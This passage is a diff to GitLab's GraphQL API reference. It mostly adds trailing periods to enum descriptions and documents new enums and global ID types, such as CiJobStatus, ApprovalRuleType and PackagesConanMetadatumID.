+| `CRITICAL` | Critical severity. |
+| `HIGH` | High severity. |
+| `INFO` | Info severity. |
+| `LOW` | Low severity. |
+| `MEDIUM` | Medium severity. |
+| `UNKNOWN` | Unknown severity. |
### `AlertManagementStatus`
@@ -7181,10 +7674,10 @@ Alert status values.
| Value | Description |
| ----- | ----------- |
-| `ACKNOWLEDGED` | Acknowledged status |
-| `IGNORED` | Ignored status |
-| `RESOLVED` | Resolved status |
-| `TRIGGERED` | Triggered status |
+| `ACKNOWLEDGED` | Acknowledged status. |
+| `IGNORED` | Ignored status. |
+| `RESOLVED` | Resolved status. |
+| `TRIGGERED` | Triggered status. |
### `ApiFuzzingScanMode`
@@ -7196,14 +7689,34 @@ All possible ways to specify the API surface for an API fuzzing scan.
| `OPENAPI` | The API surface is specified by a OPENAPI file. |
| `POSTMAN` | The API surface is specified by a POSTMAN file. |
+### `ApprovalRuleType`
+
+The kind of an approval rule.
+
+| Value | Description |
+| ----- | ----------- |
+| `ANY_APPROVER` | A `any_approver` approval rule. |
+| `CODE_OWNER` | A `code_owner` approval rule. |
+| `REGULAR` | A `regular` approval rule. |
+| `REPORT_APPROVER` | A `report_approver` approval rule. |
+
+### `AssigneeWildcardId`
+
+Assignee ID wildcard values.
+
+| Value | Description |
+| ----- | ----------- |
+| `ANY` | An assignee is assigned. |
+| `NONE` | No assignee is assigned. |
+
### `AvailabilityEnum`
User availability status.
| Value | Description |
| ----- | ----------- |
-| `BUSY` | Busy |
-| `NOT_SET` | Not Set |
+| `BUSY` | Busy. |
+| `NOT_SET` | Not Set. |
### `BlobViewersType`
@@ -7224,6 +7737,22 @@ Values for YAML processor result.
| `INVALID` | The configuration file is not valid. |
| `VALID` | The configuration file is valid. |
+### `CiJobStatus`
+
+| Value | Description |
+| ----- | ----------- |
+| `CANCELED` | A job that is canceled. |
+| `CREATED` | A job that is created. |
+| `FAILED` | A job that is failed. |
+| `MANUAL` | A job that is manual. |
+| `PENDING` | A job that is pending. |
+| `PREPARING` | A job that is preparing. |
+| `RUNNING` | A job that is running. |
+| `SCHEDULED` | A job that is scheduled. |
+| `SKIPPED` | A job that is skipped. |
+| `SUCCESS` | A job that is success. |
+| `WAITING_FOR_RESOURCE` | A job that is waiting for resource. |
+
### `CommitActionMode`
Mode of a commit action.
@@ -7243,35 +7772,44 @@ Mode of a commit action.
| `BASE64` | Base64 encoding. |
| `TEXT` | Text encoding. |
+### `ConanMetadatumFileTypeEnum`
+
+Conan file types.
+
+| Value | Description |
+| ----- | ----------- |
+| `PACKAGE_FILE` | A package file type. |
+| `RECIPE_FILE` | A recipe file type. |
+
### `ContainerExpirationPolicyCadenceEnum`
| Value | Description |
| ----- | ----------- |
-| `EVERY_DAY` | Every day |
-| `EVERY_MONTH` | Every month |
-| `EVERY_THREE_MONTHS` | Every three months |
-| `EVERY_TWO_WEEKS` | Every two weeks |
-| `EVERY_WEEK` | Every week |
+| `EVERY_DAY` | Every day. |
+| `EVERY_MONTH` | Every month. |
+| `EVERY_THREE_MONTHS` | Every three months. |
+| `EVERY_TWO_WEEKS` | Every two weeks. |
+| `EVERY_WEEK` | Every week. |
### `ContainerExpirationPolicyKeepEnum`
| Value | Description |
| ----- | ----------- |
-| `FIFTY_TAGS` | 50 tags per image name |
-| `FIVE_TAGS` | 5 tags per image name |
-| `ONE_HUNDRED_TAGS` | 100 tags per image name |
-| `ONE_TAG` | 1 tag per image name |
-| `TEN_TAGS` | 10 tags per image name |
-| `TWENTY_FIVE_TAGS` | 25 tags per image name |
+| `FIFTY_TAGS` | 50 tags per image name. |
+| `FIVE_TAGS` | 5 tags per image name. |
+| `ONE_HUNDRED_TAGS` | 100 tags per image name. |
+| `ONE_TAG` | 1 tag per image name. |
+| `TEN_TAGS` | 10 tags per image name. |
+| `TWENTY_FIVE_TAGS` | 25 tags per image name. |
### `ContainerExpirationPolicyOlderThanEnum`
| Value | Description |
| ----- | ----------- |
-| `FOURTEEN_DAYS` | 14 days until tags are automatically removed |
-| `NINETY_DAYS` | 90 days until tags are automatically removed |
-| `SEVEN_DAYS` | 7 days until tags are automatically removed |
-| `THIRTY_DAYS` | 30 days until tags are automatically removed |
+| `FOURTEEN_DAYS` | 14 days until tags are automatically removed. |
+| `NINETY_DAYS` | 90 days until tags are automatically removed. |
+| `SEVEN_DAYS` | 7 days until tags are automatically removed. |
+| `THIRTY_DAYS` | 30 days until tags are automatically removed. |
### `ContainerRepositoryCleanupStatus`
@@ -7296,10 +7834,10 @@ Values for sorting container repositories.
| `NAME_DESC` | Name by descending order. |
| `UPDATED_ASC` | Updated at ascending order. |
| `UPDATED_DESC` | Updated at descending order. |
-| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. |
-| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. |
-| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. |
-| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. |
+| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
+| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
+| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
+| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
### `ContainerRepositoryStatus`
@@ -7334,17 +7872,24 @@ Status of a container repository.
| `HEADER` | Header validation. |
| `TEXT_FILE` | Text file validation. |
+### `DastTargetTypeEnum`
+
+| Value | Description |
+| ----- | ----------- |
+| `API` | API target. |
+| `WEBSITE` | Website target. |
+
### `DataVisualizationColorEnum`
Color of the data visualization palette.
| Value | Description |
| ----- | ----------- |
-| `AQUA` | Aqua color |
-| `BLUE` | Blue color |
-| `GREEN` | Green color |
-| `MAGENTA` | Magenta color |
-| `ORANGE` | Orange color |
+| `AQUA` | Aqua color. |
+| `BLUE` | Blue color. |
+| `GREEN` | Green color. |
+| `MAGENTA` | Magenta color. |
+| `ORANGE` | Orange color. |
### `DataVisualizationWeightEnum`
@@ -7352,17 +7897,17 @@ Weight of the data visualization palette.
| Value | Description |
| ----- | ----------- |
-| `WEIGHT_100` | 100 weight |
-| `WEIGHT_200` | 200 weight |
-| `WEIGHT_300` | 300 weight |
-| `WEIGHT_400` | 400 weight |
-| `WEIGHT_50` | 50 weight |
-| `WEIGHT_500` | 500 weight |
-| `WEIGHT_600` | 600 weight |
-| `WEIGHT_700` | 700 weight |
-| `WEIGHT_800` | 800 weight |
-| `WEIGHT_900` | 900 weight |
-| `WEIGHT_950` | 950 weight |
+| `WEIGHT_100` | 100 weight. |
+| `WEIGHT_200` | 200 weight. |
+| `WEIGHT_300` | 300 weight. |
+| `WEIGHT_400` | 400 weight. |
+| `WEIGHT_50` | 50 weight. |
+| `WEIGHT_500` | 500 weight. |
+| `WEIGHT_600` | 600 weight. |
+| `WEIGHT_700` | 700 weight. |
+| `WEIGHT_800` | 800 weight. |
+| `WEIGHT_900` | 900 weight. |
+| `WEIGHT_950` | 950 weight. |
### `DesignCollectionCopyState`
@@ -7370,9 +7915,9 @@ Copy state of a DesignCollection.
| Value | Description |
| ----- | ----------- |
-| `ERROR` | The DesignCollection encountered an error during a copy |
-| `IN_PROGRESS` | The DesignCollection is being copied |
-| `READY` | The DesignCollection has no copy in progress |
+| `ERROR` | The DesignCollection encountered an error during a copy. |
+| `IN_PROGRESS` | The DesignCollection is being copied. |
+| `READY` | The DesignCollection has no copy in progress. |
### `DesignVersionEvent`
@@ -7380,9 +7925,9 @@ Mutation event of a design within a version.
| Value | Description |
| ----- | ----------- |
-| `CREATION` | A creation event |
-| `DELETION` | A deletion event |
-| `MODIFICATION` | A modification event |
+| `CREATION` | A creation event. |
+| `DELETION` | A deletion event. |
+| `MODIFICATION` | A modification event. |
| `NONE` | No change. |
### `DiffPositionType`
@@ -7391,8 +7936,8 @@ Type of file the position refers to.
| Value | Description |
| ----- | ----------- |
-| `image` | An image |
-| `text` | A text file |
+| `image` | An image. |
+| `text` | A text file. |
### `EntryType`
@@ -7410,10 +7955,14 @@ Roadmap sort values.
| Value | Description |
| ----- | ----------- |
-| `end_date_asc` | End date at ascending order. |
-| `end_date_desc` | End date at descending order. |
-| `start_date_asc` | Start date at ascending order. |
-| `start_date_desc` | Start date at descending order. |
+| `END_DATE_ASC` | Sort by end date in ascending order. |
+| `END_DATE_DESC` | Sort by end date in descending order. |
+| `START_DATE_ASC` | Sort by start date in ascending order. |
+| `START_DATE_DESC` | Sort by start date in descending order. |
+| `end_date_asc` **{warning-solid}** | **Deprecated:** Use END_DATE_ASC. Deprecated in 13.11. |
+| `end_date_desc` **{warning-solid}** | **Deprecated:** Use END_DATE_DESC. Deprecated in 13.11. |
+| `start_date_asc` **{warning-solid}** | **Deprecated:** Use START_DATE_ASC. Deprecated in 13.11. |
+| `start_date_desc` **{warning-solid}** | **Deprecated:** Use START_DATE_DESC. Deprecated in 13.11. |
### `EpicState`
@@ -7449,19 +7998,19 @@ Event action.
| Value | Description |
| ----- | ----------- |
-| `APPROVED` | Approved action |
-| `ARCHIVED` | Archived action |
-| `CLOSED` | Closed action |
-| `COMMENTED` | Commented action |
-| `CREATED` | Created action |
-| `DESTROYED` | Destroyed action |
-| `EXPIRED` | Expired action |
-| `JOINED` | Joined action |
-| `LEFT` | Left action |
-| `MERGED` | Merged action |
-| `PUSHED` | Pushed action |
-| `REOPENED` | Reopened action |
-| `UPDATED` | Updated action |
+| `APPROVED` | Approved action. |
+| `ARCHIVED` | Archived action. |
+| `CLOSED` | Closed action. |
+| `COMMENTED` | Commented action. |
+| `CREATED` | Created action. |
+| `DESTROYED` | Destroyed action. |
+| `EXPIRED` | Expired action. |
+| `JOINED` | Joined action. |
+| `LEFT` | Left action. |
+| `MERGED` | Merged action. |
+| `PUSHED` | Pushed action. |
+| `REOPENED` | Reopened action. |
+| `UPDATED` | Updated action. |
### `GroupMemberRelation`
@@ -7469,9 +8018,9 @@ Group member relation.
| Value | Description |
| ----- | ----------- |
-| `DESCENDANTS` | Descendants members |
-| `DIRECT` | Direct members |
-| `INHERITED` | Inherited members |
+| `DESCENDANTS` | Descendants members. |
+| `DIRECT` | Direct members. |
+| `INHERITED` | Inherited members. |
### `HealthStatus`
@@ -7489,11 +8038,11 @@ Incident severity.
| Value | Description |
| ----- | ----------- |
-| `CRITICAL` | Critical severity |
-| `HIGH` | High severity |
-| `LOW` | Low severity |
-| `MEDIUM` | Medium severity |
-| `UNKNOWN` | Unknown severity |
+| `CRITICAL` | Critical severity. |
+| `HIGH` | High severity. |
+| `LOW` | Low severity. |
+| `MEDIUM` | Medium severity. |
+| `UNKNOWN` | Unknown severity. |
### `IssuableState`
@@ -7533,10 +8082,10 @@ Values for sorting issues.
| `UPDATED_DESC` | Updated at descending order. |
| `WEIGHT_ASC` | Weight by ascending order. |
| `WEIGHT_DESC` | Weight by descending order. |
-| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. |
-| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. |
-| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. |
-| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. |
+| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
+| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
+| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
+| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
### `IssueState`
@@ -7564,9 +8113,9 @@ Issue type.
| Value | Description |
| ----- | ----------- |
-| `INCIDENT` | Incident issue type |
-| `ISSUE` | Issue issue type |
-| `TEST_CASE` | Test Case issue type |
+| `INCIDENT` | Incident issue type. |
+| `ISSUE` | Issue issue type. |
+| `TEST_CASE` | Test Case issue type. |
### `IterationState`
@@ -7658,6 +8207,15 @@ New state to apply to a merge request.
| `CLOSED` | Close the merge request if it is open. |
| `OPEN` | Open the merge request if it is closed. |
+### `MergeRequestReviewState`
+
+State of a review of a GitLab merge request.
+
+| Value | Description |
+| ----- | ----------- |
+| `REVIEWED` | The merge request is reviewed. |
+| `UNREVIEWED` | The merge request is unreviewed. |
+
### `MergeRequestSort`
Values for sorting merge requests.
@@ -7676,10 +8234,10 @@ Values for sorting merge requests.
| `PRIORITY_DESC` | Priority by descending order. |
| `UPDATED_ASC` | Updated at ascending order. |
| `UPDATED_DESC` | Updated at descending order. |
-| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. |
-| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. |
-| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. |
-| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. |
+| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
+| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
+| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
+| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
### `MergeRequestState`
@@ -7690,7 +8248,7 @@ State of a GitLab merge request.
| `all` | All available. |
| `closed` | In closed state. |
| `locked` | Discussion has been locked. |
-| `merged` | Merge Request has been merged. |
+| `merged` | Merge request has been merged. |
| `opened` | In open state. |
### `MergeStrategyEnum`
@@ -7738,60 +8296,68 @@ Values for sorting projects.
| `SIMILARITY` | Most similar to the search query. |
| `STORAGE` | Sort by storage size. |
+### `NegatedIterationWildcardId`
+
+Negated Iteration ID wildcard values.
+
+| Value | Description |
+| ----- | ----------- |
+| `CURRENT` | Current iteration. |
+
### `OncallRotationUnitEnum`
Rotation length unit of an on-call rotation.
| Value | Description |
| ----- | ----------- |
-| `DAYS` | Days |
-| `HOURS` | Hours |
-| `WEEKS` | Weeks |
+| `DAYS` | Days. |
+| `HOURS` | Hours. |
+| `WEEKS` | Weeks. |
### `PackageTypeEnum`
| Value | Description |
| ----- | ----------- |
-| `COMPOSER` | Packages from the Composer package manager |
-| `CONAN` | Packages from the Conan package manager |
-| `DEBIAN` | Packages from the Debian package manager |
-| `GENERIC` | Packages from the Generic package manager |
-| `GOLANG` | Packages from the Golang package manager |
-| `MAVEN` | Packages from the Maven package manager |
-| `NPM` | Packages from the npm package manager |
-| `NUGET` | Packages from the Nuget package manager |
-| `PYPI` | Packages from the PyPI package manager |
-| `RUBYGEMS` | Packages from the Rubygems package manager |
+| `COMPOSER` | Packages from the Composer package manager. |
+| `CONAN` | Packages from the Conan package manager. |
+| `DEBIAN` | Packages from the Debian package manager. |
+| `GENERIC` | Packages from the Generic package manager. |
+| `GOLANG` | Packages from the Golang package manager. |
+| `MAVEN` | Packages from the Maven package manager. |
+| `NPM` | Packages from the npm package manager. |
+| `NUGET` | Packages from the Nuget package manager. |
+| `PYPI` | Packages from the PyPI package manager. |
+| `RUBYGEMS` | Packages from the Rubygems package manager. |
### `PipelineConfigSourceEnum`
| Value | Description |
| ----- | ----------- |
-| `AUTO_DEVOPS_SOURCE` | |
-| `BRIDGE_SOURCE` | |
-| `COMPLIANCE_SOURCE` | |
-| `EXTERNAL_PROJECT_SOURCE` | |
-| `PARAMETER_SOURCE` | |
-| `REMOTE_SOURCE` | |
-| `REPOSITORY_SOURCE` | |
-| `UNKNOWN_SOURCE` | |
-| `WEBIDE_SOURCE` | |
+| `AUTO_DEVOPS_SOURCE` | Auto DevOps source. |
+| `BRIDGE_SOURCE` | Bridge source. |
+| `COMPLIANCE_SOURCE` | Compliance source. |
+| `EXTERNAL_PROJECT_SOURCE` | External project source. |
+| `PARAMETER_SOURCE` | Parameter source. |
+| `REMOTE_SOURCE` | Remote source. |
+| `REPOSITORY_SOURCE` | Repository source. |
+| `UNKNOWN_SOURCE` | Unknown source. |
+| `WEBIDE_SOURCE` | Webide source. |
### `PipelineStatusEnum`
| Value | Description |
| ----- | ----------- |
-| `CANCELED` | |
-| `CREATED` | |
-| `FAILED` | |
-| `MANUAL` | |
-| `PENDING` | |
-| `PREPARING` | |
-| `RUNNING` | |
-| `SCHEDULED` | |
-| `SKIPPED` | |
-| `SUCCESS` | |
-| `WAITING_FOR_RESOURCE` | |
+| `CANCELED` | Pipeline was canceled before completion. |
+| `CREATED` | Pipeline has been created. |
+| `FAILED` | At least one stage of the pipeline failed. |
+| `MANUAL` | Pipeline needs to be manually started. |
+| `PENDING` | Pipeline has not started running yet. |
+| `PREPARING` | Pipeline is preparing to run. |
+| `RUNNING` | Pipeline is running. |
+| `SCHEDULED` | Pipeline is scheduled to run. |
+| `SKIPPED` | Pipeline was skipped. |
+| `SUCCESS` | Pipeline completed successfully. |
+| `WAITING_FOR_RESOURCE` | A resource (for example, a runner) that the pipeline requires to run is unavailable. |
### `ProjectMemberRelation`
@@ -7799,10 +8365,10 @@ Project member relation.
| Value | Description |
| ----- | ----------- |
-| `DESCENDANTS` | Descendants members |
-| `DIRECT` | Direct members |
-| `INHERITED` | Inherited members |
-| `INVITED_GROUPS` | Invited Groups members |
+| `DESCENDANTS` | Descendants members. |
+| `DIRECT` | Direct members. |
+| `INHERITED` | Inherited members. |
+| `INVITED_GROUPS` | Invited Groups members. |
### `RegistryState`
@@ -7821,10 +8387,10 @@ Type of the link: `other`, `runbook`, `image`, `package`.
| Value | Description |
| ----- | ----------- |
-| `IMAGE` | Image link type |
-| `OTHER` | Other link type |
-| `PACKAGE` | Package link type |
-| `RUNBOOK` | Runbook link type |
+| `IMAGE` | Image link type. |
+| `OTHER` | Other link type. |
+| `PACKAGE` | Package link type. |
+| `RUNBOOK` | Runbook link type. |
### `ReleaseSort`
@@ -7870,13 +8436,13 @@ Size of UI component in SAST configuration page.
| Value | Description |
| ----- | ----------- |
-| `API_FUZZING` | API FUZZING scan report |
-| `CONTAINER_SCANNING` | CONTAINER SCANNING scan report |
-| `COVERAGE_FUZZING` | COVERAGE FUZZING scan report |
-| `DAST` | DAST scan report |
-| `DEPENDENCY_SCANNING` | DEPENDENCY SCANNING scan report |
-| `SAST` | SAST scan report |
-| `SECRET_DETECTION` | SECRET DETECTION scan report |
+| `API_FUZZING` | API FUZZING scan report. |
+| `CONTAINER_SCANNING` | CONTAINER SCANNING scan report. |
+| `COVERAGE_FUZZING` | COVERAGE FUZZING scan report. |
+| `DAST` | DAST scan report. |
+| `DEPENDENCY_SCANNING` | DEPENDENCY SCANNING scan report. |
+| `SAST` | SAST scan report. |
+| `SECRET_DETECTION` | SECRET DETECTION scan report. |
### `SecurityScannerType`
@@ -7907,42 +8473,41 @@ State of a Sentry error.
| Value | Description |
| ----- | ----------- |
-| `ASANA_SERVICE` | AsanaService type |
-| `ASSEMBLA_SERVICE` | AssemblaService type |
-| `BAMBOO_SERVICE` | BambooService type |
-| `BUGZILLA_SERVICE` | BugzillaService type |
-| `BUILDKITE_SERVICE` | BuildkiteService type |
-| `CAMPFIRE_SERVICE` | CampfireService type |
-| `CONFLUENCE_SERVICE` | ConfluenceService type |
-| `CUSTOM_ISSUE_TRACKER_SERVICE` | CustomIssueTrackerService type |
-| `DATADOG_SERVICE` | DatadogService type |
-| `DISCORD_SERVICE` | DiscordService type |
-| `DRONE_CI_SERVICE` | DroneCiService type |
-| `EMAILS_ON_PUSH_SERVICE` | EmailsOnPushService type |
-| `EWM_SERVICE` | EwmService type |
-| `EXTERNAL_WIKI_SERVICE` | ExternalWikiService type |
-| `FLOWDOCK_SERVICE` | FlowdockService type |
-| `GITHUB_SERVICE` | GithubService type |
-| `HANGOUTS_CHAT_SERVICE` | HangoutsChatService type |
-| `HIPCHAT_SERVICE` | HipchatService type |
-| `IRKER_SERVICE` | IrkerService type |
-| `JENKINS_SERVICE` | JenkinsService type |
-| `JIRA_SERVICE` | JiraService type |
-| `MATTERMOST_SERVICE` | MattermostService type |
-| `MATTERMOST_SLASH_COMMANDS_SERVICE` | MattermostSlashCommandsService type |
-| `MICROSOFT_TEAMS_SERVICE` | MicrosoftTeamsService type |
-| `PACKAGIST_SERVICE` | PackagistService type |
-| `PIPELINES_EMAIL_SERVICE` | PipelinesEmailService type |
-| `PIVOTALTRACKER_SERVICE` | PivotaltrackerService type |
-| `PROMETHEUS_SERVICE` | PrometheusService type |
-| `PUSHOVER_SERVICE` | PushoverService type |
-| `REDMINE_SERVICE` | RedmineService type |
-| `SLACK_SERVICE` | SlackService type |
-| `SLACK_SLASH_COMMANDS_SERVICE` | SlackSlashCommandsService type |
-| `TEAMCITY_SERVICE` | TeamcityService type |
-| `UNIFY_CIRCUIT_SERVICE` | UnifyCircuitService type |
-| `WEBEX_TEAMS_SERVICE` | WebexTeamsService type |
-| `YOUTRACK_SERVICE` | YoutrackService type |
+| `ASANA_SERVICE` | AsanaService type. |
+| `ASSEMBLA_SERVICE` | AssemblaService type. |
+| `BAMBOO_SERVICE` | BambooService type. |
+| `BUGZILLA_SERVICE` | BugzillaService type. |
+| `BUILDKITE_SERVICE` | BuildkiteService type. |
+| `CAMPFIRE_SERVICE` | CampfireService type. |
+| `CONFLUENCE_SERVICE` | ConfluenceService type. |
+| `CUSTOM_ISSUE_TRACKER_SERVICE` | CustomIssueTrackerService type. |
+| `DATADOG_SERVICE` | DatadogService type. |
+| `DISCORD_SERVICE` | DiscordService type. |
+| `DRONE_CI_SERVICE` | DroneCiService type. |
+| `EMAILS_ON_PUSH_SERVICE` | EmailsOnPushService type. |
+| `EWM_SERVICE` | EwmService type. |
+| `EXTERNAL_WIKI_SERVICE` | ExternalWikiService type. |
+| `FLOWDOCK_SERVICE` | FlowdockService type. |
+| `GITHUB_SERVICE` | GithubService type. |
+| `HANGOUTS_CHAT_SERVICE` | HangoutsChatService type. |
+| `IRKER_SERVICE` | IrkerService type. |
+| `JENKINS_SERVICE` | JenkinsService type. |
+| `JIRA_SERVICE` | JiraService type. |
+| `MATTERMOST_SERVICE` | MattermostService type. |
+| `MATTERMOST_SLASH_COMMANDS_SERVICE` | MattermostSlashCommandsService type. |
+| `MICROSOFT_TEAMS_SERVICE` | MicrosoftTeamsService type. |
+| `PACKAGIST_SERVICE` | PackagistService type. |
+| `PIPELINES_EMAIL_SERVICE` | PipelinesEmailService type. |
+| `PIVOTALTRACKER_SERVICE` | PivotaltrackerService type. |
+| `PROMETHEUS_SERVICE` | PrometheusService type. |
+| `PUSHOVER_SERVICE` | PushoverService type. |
+| `REDMINE_SERVICE` | RedmineService type. |
+| `SLACK_SERVICE` | SlackService type. |
+| `SLACK_SLASH_COMMANDS_SERVICE` | SlackSlashCommandsService type. |
+| `TEAMCITY_SERVICE` | TeamcityService type. |
+| `UNIFY_CIRCUIT_SERVICE` | UnifyCircuitService type. |
+| `WEBEX_TEAMS_SERVICE` | WebexTeamsService type. |
+| `YOUTRACK_SERVICE` | YoutrackService type. |
### `SnippetBlobActionEnum`
@@ -7965,10 +8530,19 @@ Common sort values.
| `CREATED_DESC` | Created at descending order. |
| `UPDATED_ASC` | Updated at ascending order. |
| `UPDATED_DESC` | Updated at descending order. |
-| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. |
-| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. |
-| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. |
-| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. |
+| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
+| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
+| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
+| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
+
+### `TestCaseStatus`
+
+| Value | Description |
+| ----- | ----------- |
+| `error` | Test case that has a status of error. |
+| `failed` | Test case that has a status of failed. |
+| `skipped` | Test case that has a status of skipped. |
+| `success` | Test case that has a status of success. |
### `TestReportState`
@@ -8040,8 +8614,9 @@ Name of the feature that the callout is for.
| `GOLD_TRIAL_BILLINGS` | Callout feature name for gold_trial_billings. |
| `NEW_USER_SIGNUPS_CAP_REACHED` | Callout feature name for new_user_signups_cap_reached. |
| `PERSONAL_ACCESS_TOKEN_EXPIRY` | Callout feature name for personal_access_token_expiry. |
+| `PIPELINE_NEEDS_BANNER` | Callout feature name for pipeline_needs_banner. |
| `REGISTRATION_ENABLED_CALLOUT` | Callout feature name for registration_enabled_callout. |
-| `SERVICE_TEMPLATES_DEPRECATED` | Callout feature name for service_templates_deprecated. |
+| `SERVICE_TEMPLATES_DEPRECATED_CALLOUT` | Callout feature name for service_templates_deprecated_callout. |
| `SUGGEST_PIPELINE` | Callout feature name for suggest_pipeline. |
| `SUGGEST_POPOVER_DISMISSED` | Callout feature name for suggest_popover_dismissed. |
| `TABS_POSITION_HIGHLIGHT` | Callout feature name for tabs_position_highlight. |
@@ -8083,11 +8658,11 @@ The dismissal reason of the Vulnerability.
| Value | Description |
| ----- | ----------- |
-| `ACCEPTABLE_RISK` | The likelihood of the Vulnerability occurring and its impact are deemed acceptable |
-| `FALSE_POSITIVE` | The Vulnerability was incorrectly identified as being present |
-| `MITIGATING_CONTROL` | There is a mitigating control that eliminates the Vulnerability or makes its risk acceptable |
-| `NOT_APPLICABLE` | Other reasons for dismissal |
-| `USED_IN_TESTS` | The Vulnerability is used in tests and does not pose an actual risk |
+| `ACCEPTABLE_RISK` | The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk. |
+| `FALSE_POSITIVE` | An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present. |
+| `MITIGATING_CONTROL` | A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system. |
+| `NOT_APPLICABLE` | The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated. |
+| `USED_IN_TESTS` | The finding is not a vulnerability because it is part of a test or is test data. |
### `VulnerabilityExternalIssueLinkExternalTracker`
@@ -8095,7 +8670,7 @@ The external tracker of the external issue link related to a vulnerability.
| Value | Description |
| ----- | ----------- |
-| `JIRA` | Jira external tracker |
+| `JIRA` | Jira external tracker. |
### `VulnerabilityExternalIssueLinkType`
@@ -8103,7 +8678,7 @@ The type of the external issue link related to a vulnerability.
| Value | Description |
| ----- | ----------- |
-| `CREATED` | Created link type |
+| `CREATED` | Created link type. |
### `VulnerabilityGrade`
@@ -8370,6 +8945,15 @@ A `GitlabErrorTrackingDetailedErrorID` is a global ID. It is encoded as a string
An example `GitlabErrorTrackingDetailedErrorID` is: `"gid://gitlab/Gitlab::ErrorTracking::DetailedError/1"`.
+### `GlobalID`
+
+A global identifier.
+
+A global identifier represents an object uniquely across the application.
+An example of such an identifier is `"gid://gitlab/User/1"`.
+
+Global identifiers are encoded as strings.
+
### `GroupID`
A `GroupID` is a global ID. It is encoded as a string.
@@ -8422,6 +9006,12 @@ An example `IterationsCadenceID` is: `"gid://gitlab/Iterations::Cadence/1"`.
Represents untyped JSON.
+### `JobID`
+
+A `CommitStatusID` is a global ID. It is encoded as a string.
+
+An example `CommitStatusID` is: `"gid://gitlab/CommitStatus/1"`.
+
### `JsonString`
JSON object as raw string.
@@ -8474,12 +9064,34 @@ A `NoteableID` is a global ID. It is encoded as a string.
An example `NoteableID` is: `"gid://gitlab/Noteable/1"`.
+### `PackagesConanFileMetadatumID`
+
+A `PackagesConanFileMetadatumID` is a global ID. It is encoded as a string.
+
+An example `PackagesConanFileMetadatumID` is: `"gid://gitlab/Packages::Conan::FileMetadatum/1"`.
+
+### `PackagesConanMetadatumID`
+
+A `PackagesConanMetadatumID` is a global ID. It is encoded as a string.
+
+An example `PackagesConanMetadatumID` is: `"gid://gitlab/Packages::Conan::Metadatum/1"`.
+
+### `PackagesPackageFileID`
+
+A `PackagesPackageFileID` is a global ID. It is encoded as a string.
+
+An example `PackagesPackageFileID` is: `"gid://gitlab/Packages::PackageFile/1"`.
+
### `PackagesPackageID`
A `PackagesPackageID` is a global ID. It is encoded as a string.
An example `PackagesPackageID` is: `"gid://gitlab/Packages::Package/1"`.
+### `PayloadAlertFieldPathSegment`
+
+String or integer.
+
### `ProjectID`
A `ProjectID` is a global ID. It is encoded as a string.
@@ -8552,6 +9164,12 @@ A `VulnerabilitiesExternalIssueLinkID` is a global ID. It is encoded as a string
An example `VulnerabilitiesExternalIssueLinkID` is: `"gid://gitlab/Vulnerabilities::ExternalIssueLink/1"`.
+### `VulnerabilitiesScannerID`
+
+A `VulnerabilitiesScannerID` is a global ID. It is encoded as a string.
+
+An example `VulnerabilitiesScannerID` is: `"gid://gitlab/Vulnerabilities::Scanner/1"`.
+
### `VulnerabilityID`
A `VulnerabilityID` is a global ID. It is encoded as a string.
